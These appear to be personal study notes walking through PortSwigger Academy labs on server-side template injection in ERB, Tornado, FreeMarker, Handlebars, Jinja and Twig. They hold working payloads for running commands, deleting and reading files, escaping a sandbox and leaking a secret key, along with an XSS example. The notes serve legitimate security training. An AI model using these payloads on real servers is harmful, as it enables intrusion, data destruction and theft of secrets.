Read

While this may not be the most exciting way to spend your time, it is important not to underestimate what a useful source of information the documentation can be.

Learn the Basic Template Syntax

Learning the basic syntax is obviously important, along with key functions and handling of variables. Even something as simple as learning how to embed native code blocks in the template can sometimes quickly lead to an exploit.

Lab: Basic Server-side Template Injection

Abstract

This lab is vulnerable to server-side template injection due to the unsafe construction of an ERB template.

To solve the lab, review the ERB documentation to find out how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

There is a server side redirect when viewing details of some products:

HTTP/2 302 Found
Location: /?message=Unfortunately this product is out of stock
X-Frame-Options: SAMEORIGIN
Content-Length: 0

The message param will be rendered like this:

<div>Unfortunately this product is out of stock</div>

Try {{7*7}} and the application reflects the same.

Try <%= 7*7 %> and the application renders 49, which confirms the SSTI vulnerability.

Reference SSTI (Server Side Template Injection) | HackTricks to craft the final payload:

<%=  system('rm /home/carlos/morale.txt') %>

Lab: Basic Server-side Template Injection (code context)

Abstract

This lab is vulnerable to server-side template injection due to the way it unsafely uses a Tornado template. To solve the lab, review the Tornado documentation to discover how to execute arbitrary code, then delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Hint

Take a closer look at the “preferred name” functionality.

Login and found the request used for updating the prefered name that users want to display in the comment:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.net
Cookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
 
blog-post-author-display=user.first_name&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS

Add {{7*7 after user.first_name and comment to any blog post. After that, request to the blog post that we have commented and the server responds like this:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2849
 
No handlers could be found for logger &quot;tornado.application&quot;
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 317, in __init__
    &quot;exec&quot;, dont_inherit=True)
  File &quot;&lt;string&gt;.generated.py&quot;, line 4
    _tt_tmp = user.first_name{{7*7  # &lt;string&gt;:1
                             ^
SyntaxError: invalid syntax

This response indicates that user.nickname could be used as input for Tornado template engine.

Update payload to {{7*7}}:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ae500d303253c718296bfce00ac00e3.web-security-academy.net
Cookie: session=2igIytDp7cRshBoewU7L3D0Sx0exgZe5
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
 
blog-post-author-display={{7*7}}&csrf=FzufnSMtJQXoqBRIZMaHtFMUvBS93pFS

Reload the blog post page and the expression is evaluated like this:

<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">                            {{49}}
 | 26 September 2024
</p>

This confirms the SSTI vulnerability.

Try to execute id command with this payload:

{% import os %}{{os.popen('id').read()}}

The application returns a 500 error:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2861
 
No handlers could be found for logger &quot;tornado.application&quot;
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 317, in __init__
    &quot;exec&quot;, dont_inherit=True)
  File &quot;&lt;string&gt;.generated.py&quot;, line 5
    _tt_tmp = % import os %}{{os.popen(&apos;id&apos;).read()  # &lt;string&gt;:1
              ^
SyntaxError: invalid syntax

It seems like we need to escape the context.

Use this payload instead:

7*7}}{% import os %}{{os.popen('id').read()

We need to add 7*7}} at the beginning of the payload or the application will throw this error:

HTTP/2 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3001
 
Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 15, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 306, in __init__
    self.file = _File(self, _parse(reader, self))
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 862, in _parse
    reader.raise_parse_error(&quot;Empty expression&quot;)
  File &quot;/usr/local/lib/python2.7/dist-packages/tornado/template.py&quot;, line 788, in raise_parse_error
    raise ParseError(msg, self.name, self.line)
tornado.template.ParseError: Empty expression at &lt;string&gt;:1

The application renders like this:

<p>
                        <img src="/resources/images/avatarDefault.svg" class="avatar">                            49uid=12002(carlos) gid=12002(carlos) groups=12002(carlos)
 
 | 26 September 2024
                        </p>

Final payload:

7*7}}{% import os %}{{os.popen('rm /home/carlos/morale.txt').read()

Read About the Security Implications

In addition to providing the fundamentals of how to create and use templates, the documentation may also provide some sort of “Security” section. The name of this section will vary, but it will usually outline all the potentially dangerous things that people should avoid doing with the template.

Even if there is no dedicated “Security” section, if a particular built-in object or function can pose a security risk, there is almost always a warning of some kind in the documentation.

For example, in ERB, the documentation reveals that you can list all directories and then read arbitrary files as follows:

<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>

Lab: Server-side Template Injection Using Documentation

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and use the documentation to work out how to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.
You can log in to your own account using the following credentials:
`content-manager:C0nt3ntM4n4g3r`

Log in using the provided credentials. Navigate to the first product, where it is possible to edit, preview, and save the template. The template includes the following line:

<p>Hurry! Only ${product.stock} left of ${product.name} at ${product.price}.</p>

Change product.stock, which probably a number, to abc and send a request to preview the template. Got this error message:

Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!):
The following has evaluated to null or missing:
==&gt; abc  [in template &quot;freemarker&quot; at line 5, column 18]
 
----
Tip: If the failing expression is known to legally refer to something that&apos;s sometimes null or missing, either specify a default value like myOptionalVar!myDefault, or use &lt;#if myOptionalVar??&gt;when-present&lt;#else&gt;when-missing&lt;/#if&gt;. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)??
----
 
----
FTL stack trace (&quot;~&quot; means nesting-related):
	- Failed at: ${abc}  [in template &quot;freemarker&quot; at line 5, column 16]
----
 
Java stack trace (for programmers):
----
freemarker.core.InvalidReferenceException: [... Exception message was already printed; see it above ...]
	at freemarker.core.InvalidReferenceException.getInstance(InvalidReferenceException.java:134)
	at freemarker.core.EvalUtil.coerceModelToTextualCommon(EvalUtil.java:479)
	at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:401)
	at freemarker.core.EvalUtil.coerceModelToStringOrMarkup(EvalUtil.java:370)
	at freemarker.core.DollarVariable.calculateInterpolatedStringOrMarkup(DollarVariable.java:100)
	at freemarker.core.DollarVariable.accept(DollarVariable.java:63)
	at freemarker.core.Environment.visit(Environment.java:331)
	at freemarker.core.Environment.visit(Environment.java:337)
	at freemarker.core.Environment.process(Environment.java:310)
	at freemarker.template.Template.process(Template.java:383)
	at lab.actions.templateengines.FreeMarker.processInput(FreeMarker.java:58)
	at lab.actions.templateengines.FreeMarker.act(FreeMarker.java:42)
	at lab.actions.common.Action.act(Action.java:57)
	at lab.actions.common.Action.run(Action.java:39)
	at lab.actions.templateengines.FreeMarker.main(FreeMarker.java:23)

The message reveals that the template engine being used is Freemarker.

Try with the ${7*191} payload:

<p>Hurry! Only ${7*191} left of ${product.name} at ${product.price}.</p>

Response shows that the payload is evaluted by the server:

<p>Hurry! Only 1,337 left of Beat the Vacation Traffic at $69.90.</p>

Use the following payload taken from SSTI (Server Side Template Injection) | HackTricks that utilizes Execute (FreeMarker 2.3.33 API) class:

${"freemarker.template.utility.Execute"?new()("id")}

Explain the payload:

  • freemarker.template.utility.Execute: full qualified name of the class
  • ?new(): it is a directive in Freemarker that initiates a new object of the specified class
  • ("id"): after the object is created, it is invoked as a method with "id" as an argument.

Response:

<p>Hurry! Only uid=12002(carlos) gid=12002(carlos) groups=12002(carlos) left of Weird Crushes Game at $91.78.</p>

Change id to rm /home/carlos/morale.txt for solving the lab:

${"freemarker.template.utility.Execute"?new()("rm /home/carlos/morale.txt")}

Look for Known Exploits

Once you are able to identify the template engine being used, you should browse the web for any vulnerabilities that others may have already discovered.

Lab: Server-side Template Injection in an Unknown Language with a Documented Exploit

This lab is vulnerable to server-side template injection. To solve the lab, identify the template engine and find a documented exploit online that you can use to execute arbitrary code, then delete the `morale.txt` file from Carlos's home directory.

Found that this request has a reflected input:

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock1337 HTTP/2
Host: 0a12005403fb2a6080506c86002a0007.web-security-academy.net
Cookie: session=Jf81kKJcwOR358Nr845mehUw4BmpIrK2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: https://0a12005403fb2a6080506c86002a0007.web-security-academy.net/
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 10764
 
...
<div>Unfortunately this product is out of stock1337</div>
...

Use the following input:

GET /?message={{7*7}} HTTP/2

Response has an error:

<p class=is-warning>/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267
            throw new Error(str);
            ^
 
Error: Parse error on line 1:
{{7*7}}
--^
Expecting &apos;ID&apos;, &apos;STRING&apos;, &apos;NUMBER&apos;, &apos;BOOLEAN&apos;, &apos;UNDEFINED&apos;, &apos;NULL&apos;, &apos;DATA&apos;, got &apos;INVALID&apos;
    at Parser.parseError (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:267:19)
    at Parser.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:336:30)
    at HandlebarsEnvironment.parse (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    at compileInput (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
    at ret (/opt/node-v19.8.1-linux-x64/lib/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
    at [eval]:5:13
    at Script.runInThisContext (node:vm:128:12)
    at Object.runInThisContext (node:vm:306:38)
    at node:internal/process/execution:83:21
    at [eval]-wrapper:6:24
 
Node.js v19.8.1
</p>

So, the template engine is Handlebars.

Use the following payload (taken from SSTI (Server Side Template Injection) | HackTricks) with a different command (rm /home/carlos/morale.txt):

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

URL encode it and send the request for solving the lab:

GET /?message=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%69%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%7b%7b%74%68%69%73%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%65%61%63%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d%7b%7b%2f%77%69%74%68%7d%7d HTTP/2
[Handlebars template injection and RCE in a Shopify app](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)

Explore

Many template engines expose a “self” or “environment” object of some kind, which acts like a namespace containing all objects, methods, and attributes that are supported by the template engine.

For example, in Java-based templating languages, you can sometimes list all variables in the environment using the following injection:

${T(java.lang.System).getenv()}
Additionally, for Burp Suite Professional users, the Intruder provides a built-in wordlist for brute-forcing variable names.

Developer-supplied Objects

Websites include built-in objects from the template and custom objects added by the developer. Pay close attention to these custom objects, as they may contain sensitive information or exploitable methods.

You can still leverage server-side template injection vulnerabilities for other high-severity exploits, such as file [[Path Traversal|path traversal]], to gain access to sensitive data.

Lab: Server-side Template Injection with Information Disclosure via User-supplied Objects

This lab is vulnerable to server-side template injection due to the way an object is being passed into the template. This vulnerability can be exploited to access sensitive data.
 
To solve the lab, steal and submit the framework's secret key.
You can log in to your own account using the following credentials:
`content-manager:C0nt3ntM4n4g3r`

This lab has a “Preview Template” feature that allows logged-in user can preview a template of a blog.

The original template has the following line:

<p>Hurry! Only {{product.stock}} left of {{product.name}} at {{product.price}}.</p>

Change product.stock into 191*7 and hit the “Preview” button. The response has an error message:

<p class=is-warning>Traceback (most recent call last):
  File &quot;&lt;string&gt;&quot;, line 11, in &lt;module&gt;
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 191, in __init__
    self.nodelist = self.compile_nodelist()
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 230, in compile_nodelist
    return parser.parse()
  File &quot;/usr/local/lib/python2.7/dist-packages/django/template/base.py&quot;, line 486, in parse
    raise self.error(token, e)
django.template.exceptions.TemplateSyntaxError: Could not parse the remainder: &apos;*191&apos; from &apos;7*191&apos;</p>

From the error message, we know that the programming language is Python and the framework is Django. Change the template line into this:

<p>Hurry! Only {% debug %} left of {{product.name}} at {{product.price}}.</p>

The response reveals that the template engine being used is Jinja:

'django.template.backends.jinja2': <module 'django.template.backends.jinja2' from '/usr/local/lib/python2.7/dist-packages/django/template/backends/jinja2.pyc'>

Use the following payload (taken from SSTI (Server Side Template Injection) | HackTricks):

<p>Hurry! Only {{settings.SECRET_KEY}} left of {{product.name}} at {{product.price}}.</p>

Response has the secret key:

<p>Hurry! Only xvwz28n1it8zvsgoz6h2guvn5itx5o0h left of Six Pack Beer Belt at $67.15.</p>

Create a Custom Attack

Sometimes you will need to construct a custom exploit. For example, you might find that the template engine executes templates inside a sandbox, which can make exploitation difficult, or even impossible.

After identifying the attack surface, if there is no obvious way to exploit the vulnerability, you should proceed with traditional auditing techniques by reviewing each function for exploitable behavior.

Constructing a Custom Exploit Using an Object Chain

The first step is to identify accessible objects and methods.

By exploring the documentation, you can find ways to chain objects and methods together. This can sometimes unlock access to sensitive data or dangerous functionality that seems out of reach.

For example, in the Java-based template engine Velocity, you have access to a ClassTool object called $class, you can chain the $class.inspect() method and $class.type property to obtain references to arbitrary objects:

$class.inspect("java.lang.Runtime").type.getRuntime().exec("bad-stuff-here")

Lab: Server-side Template Injection in a Sandboxed Environment

This lab uses the Freemarker template engine. It is vulnerable to server-side template injection due to its poorly implemented sandbox. To solve the lab, break out of the sandbox to read the file `my_password.txt` from Carlos's home directory. Then submit the contents of the file.
You can log in to your own account using the following credentials:
`content-manager:C0nt3ntM4n4g3r`

Try this payload:

<p>Hurry! Only ${7*7} left of ${product.name} at ${product.price}.</p>

Response shows that the expression is evaluated:

<p>Hurry! Only 49 left of Single Use Food Hider at $98.51.</p>

Try to read my_password.txt with "freemarker.template.utility.Execute"?new()("cat /home/carlos/morale.txt") payload:

<p>Hurry! Only FreeMarker template error (DEBUG mode; use RETHROW in production!): Instantiating freemarker.template.utility.Execute is not allowed in the template for security reasons.

Find a payload from SSTI (Server Side Template Injection) | HackTricks that utilizes the product object itself:

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_passwd.txt').toURL().openStream().readAllBytes()?join(" ")}

Output of getProtectionDomain() method is an instance of the ProtectionDomain class:

ProtectionDomain (file:/opt/jars/freemarker.jar <no signer certificates>) jdk.internal.loader.ClassLoaders$AppClassLoader@6b9651f3 <no principals> java.security.Permissions@193f604a ( ("java.io.FilePermission" "/opt/jars/freemarker.jar" "read") ("java.lang.RuntimePermission" "exitVM") )

Output of getCodeSource() method is an instance of the CodeSource class:

(file:/opt/jars/freemarker.jar <no signer certificates>)

Output of getLocation() method is an instance of the URL class:

file:/opt/jars/freemarker.jar

Output of toURI().resolve("/home/carlos/my_password.txt").toURL():

file:/home/carlos/my_password.txt

As we can see, by converting URL to URI and using the resolve method of URI, we can change the URL from /opt/jars/freemarker.jar to /home/carlos/my_password.txt.

Now, we can invoke openStream() method of the URL class to open an InputStream instance for reading the file’s content. From Java 11, the InputStream class includes the readAllBytes() method, which reads and returns the file’s content as a byte array.

Run the above payload and get the following byte array:

51 105 99 49 97 56 108 121 49 54 51 118 121 97 114 119 114 52 112 108

Write a script to convert into ASCII (excluding non-visible characters):

# Given hex array as a list of strings
hex_array = [
    "51", "105", "99", "49", "97", "56", "108", "121",
    "49", "54", "51", "118", "121", "97", "114", "119",
    "114", "52", "112", "108"
]
 
# Convert each value to its character representation and filter non-visible characters
filtered_chars = [chr(int(x)) for x in hex_array if 32 <= int(x) <= 126]
 
# Join the visible characters into a string
visible_string = ''.join(filtered_chars)
print(visible_string)

Result:

3ic1a8ly163vyarwr4pl

Constructing a Custom Exploit Using Developer-supplied Objects

Some template engines run in a secure, restricted environment by default to reduce risks. While this limits the potential for remote code execution, developer-created objects exposed to the template may provide a weaker attack surface.

While template built-ins are usually well-documented, site-specific objects often lack documentation. To exploit them, you’ll need to analyze the website’s behavior, identify the attack surface, and create a custom exploit.

Lab: Server-side Template Injection with a Custom Exploit

This lab is vulnerable to server-side template injection. To solve the lab, create a custom exploit to delete the file `/.ssh/id_rsa` from Carlos's home directory.
 
You can log in to your own account using the following credentials: `wiener:peter`
As with many high-severity vulnerabilities, experimenting with server-side template injection can be dangerous. If you're not careful when invoking methods, it is possible to damage your instance of the lab, which could make it unsolvable. If this happens, you will need to wait 20 minutes until your lab session resets.

The logged-in user can change email, prefered display name and avatar. Input malicious data into all of those features.

Login and try to comment any post with the ${7*7} payload. Then, request to the post and the following error is displayed:

<p class=is-warning>PHP Fatal error:  Uncaught Twig_Error_Syntax: A hash key must be a quoted string, a number, a name, or an expression enclosed in parentheses (unexpected token &quot;punctuation&quot; of value &quot;{&quot; in &quot;index&quot; at line 1. in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php:292
Stack trace:
#0 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(197): Twig_ExpressionParser-&gt;parseHashExpression()
#1 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(92): Twig_ExpressionParser-&gt;parsePrimaryExpression()
#2 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php(45): Twig_ExpressionParser-&gt;getPrimary()
#3 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(125): Twig_ExpressionParser-&gt;parseExpression()
#4 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Parser.php(81): Twig_Parser-&gt;subparse(NULL, false)
#5 /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Environment.php(533): Twig_Parser-&gt;parse(Object(Twig_TokenS in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/ExpressionParser.php on line 292
</p>

So, the programming language is PHP and the template engine is Twig.

Additionally, it turns out that the injection point is not the comment parameter. Instead, it is the blog-post-author-display parameter:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ade001604189b5481a1e970001400e1.web-security-academy.net
Cookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWv
Content-Length: 71
Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 
blog-post-author-display=7*7&csrf=8yTnq8BfBtJ7qtGVHsFvmGx4sJVilKJt

Where the original value of blog-post-author-display is user.firstname.

It will be rendered in the comment section of any blog post:

<section class="comment">
	<p>
	<img src="/avatar?avatar=wiener" class=avatar>
		49 | 18 November 2024
	</p>
	<p>abc</p>
	<p></p>
</section>

However, aside from _self and _context, I can hardly execute anything. It turns out that if we upload some invalid image as an avatar, the application will throw the following error message:

<pre>PHP Fatal error:  Uncaught Exception: Uploaded file mime type is not an image: application/octet-stream in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nmap.log', 'application/oct...')
#1 {main}
  thrown in /home/carlos/User.php on line 28
</pre>

The above error message reveals that there is a method named setAvatar that has two parameters.

Additionally, if we upload with invalid file name, we can perform XSS:
 
~~~html
<pre>PHP Fatal error:  Uncaught Exception: Uploaded file name is invalid: bb45v<img src=a onerror=alert(1)>qsr5lifkbg9 in /home/carlos/avatar_upload.php:10
Stack trace:
#0 {main}
  thrown in /home/carlos/avatar_upload.php on line 10
</pre>
~~~

Intercept the upload request and change the MIME type into image/png, we can upload successfully.

After that, we can get it content via the following request:

GET /avatar?avatar=wiener HTTP/2
Host: 0abb006504b00f6c82c9e792002e00db.web-security-academy.net
Cookie: session=sc9HX7OXYWSwSltSaMeNAqf9WIUo3SBw
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 3315
 
# Nmap 7.95 scan initiated Sun Oct 20 20:35:23 2024 as: nmap -T3 -Pn -A -oN nmap.log 10.10.193.239
Nmap scan report for 10.10.193.239
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-title: Site doesn't have a title (text/html).
...

Try to read /etc/passwd via the setAvatar() function by injecting the following payload:

POST /my-account/change-blog-post-author-display HTTP/2
Host: 0ade001604189b5481a1e970001400e1.web-security-academy.net
Cookie: session=rkfghR9l3URgHjrclLRUL9PJEtBtdJWv
Content-Length: 71
Origin: https://0ade001604189b5481a1e970001400e1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
 
blog-post-author-display=user.setAvatar('/etc/passwd','image/png')&csrf=c19nnnMCrSvbndw85UXTiZKVLO928oiW

Comment any post and the content of /etc/passwd is leaked:

HTTP/2 200 OK
Content-Type: image/unknown
X-Frame-Options: SAMEORIGIN
Content-Length: 2316
 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false
Read the source code of `/home/carlos/User.php`.

Source code of /home/carlos/User.php:

<?php
 
class User {
    public $username;
    public $name;
    public $first_name;
    public $nickname;
    public $user_dir;
 
    public function __construct($username, $name, $first_name, $nickname) {
        $this->username = $username;
        $this->name = $name;
        $this->first_name = $first_name;
        $this->nickname = $nickname;
        $this->user_dir = "users/" . $this->username;
        $this->avatarLink = $this->user_dir . "/avatar";
 
        if (!file_exists($this->user_dir)) {
            if (!mkdir($this->user_dir, 0755, true))
            {
                throw new Exception("Could not mkdir users/" . $this->username);
            }
        }
    }
 
    public function setAvatar($filename, $mimetype) {
        if (strpos($mimetype, "image/") !== 0) {
            throw new Exception("Uploaded file mime type is not an image: " . $mimetype);
        }
 
        if (is_link($this->avatarLink)) {
            $this->rm($this->avatarLink);
        }
 
        if (!symlink($filename, $this->avatarLink)) {
            throw new Exception("Failed to write symlink " . $filename . " -> " . $this->avatarLink);
        }
    }
 
    public function delete() {
        $file = $this->user_dir . "/disabled";
        if (file_put_contents($file, "") === false) {
            throw new Exception("Could not write to " . $file);
        }
    }
 
    public function gdprDelete() {
        $this->rm(readlink($this->avatarLink));
        $this->rm($this->avatarLink);
        $this->delete();
    }
 
    private function rm($filename) {
        if (!unlink($filename)) {
            throw new Exception("Could not delete " . $filename);
        }
    }
}
 
?>

Apart from setAvatar(), we have identified three other functions along with some properties:

  • delete(): overwrites the content of the disabled file with an empty string, effectively clearing it.
  • gdprDelete(): deletes the file that links to the avatar file as well as the avatar file by invoking rm() and then invoke delete().
  • rm(): used for removing file and it is a private function.

Clearly, we will use the gdprDelete().

To exploit, we will do the following steps:

  1. Use user.setAvatar('/home/carlos/.ssh/id_rsa', 'image/png') as the SSTI payload to link ~/.ssh/id_rsa to the avatar file (via symlink() function).
  2. Use user.gdprDelete() to delete the file that links to the avatar file (the ~/.ssh/id_rsa file) as well as the avatar file.
list
from outgoing([[Port Swigger - Exploiting Server-Side Template Injection Vulnerabilities]])
sort file.ctime asc

Resources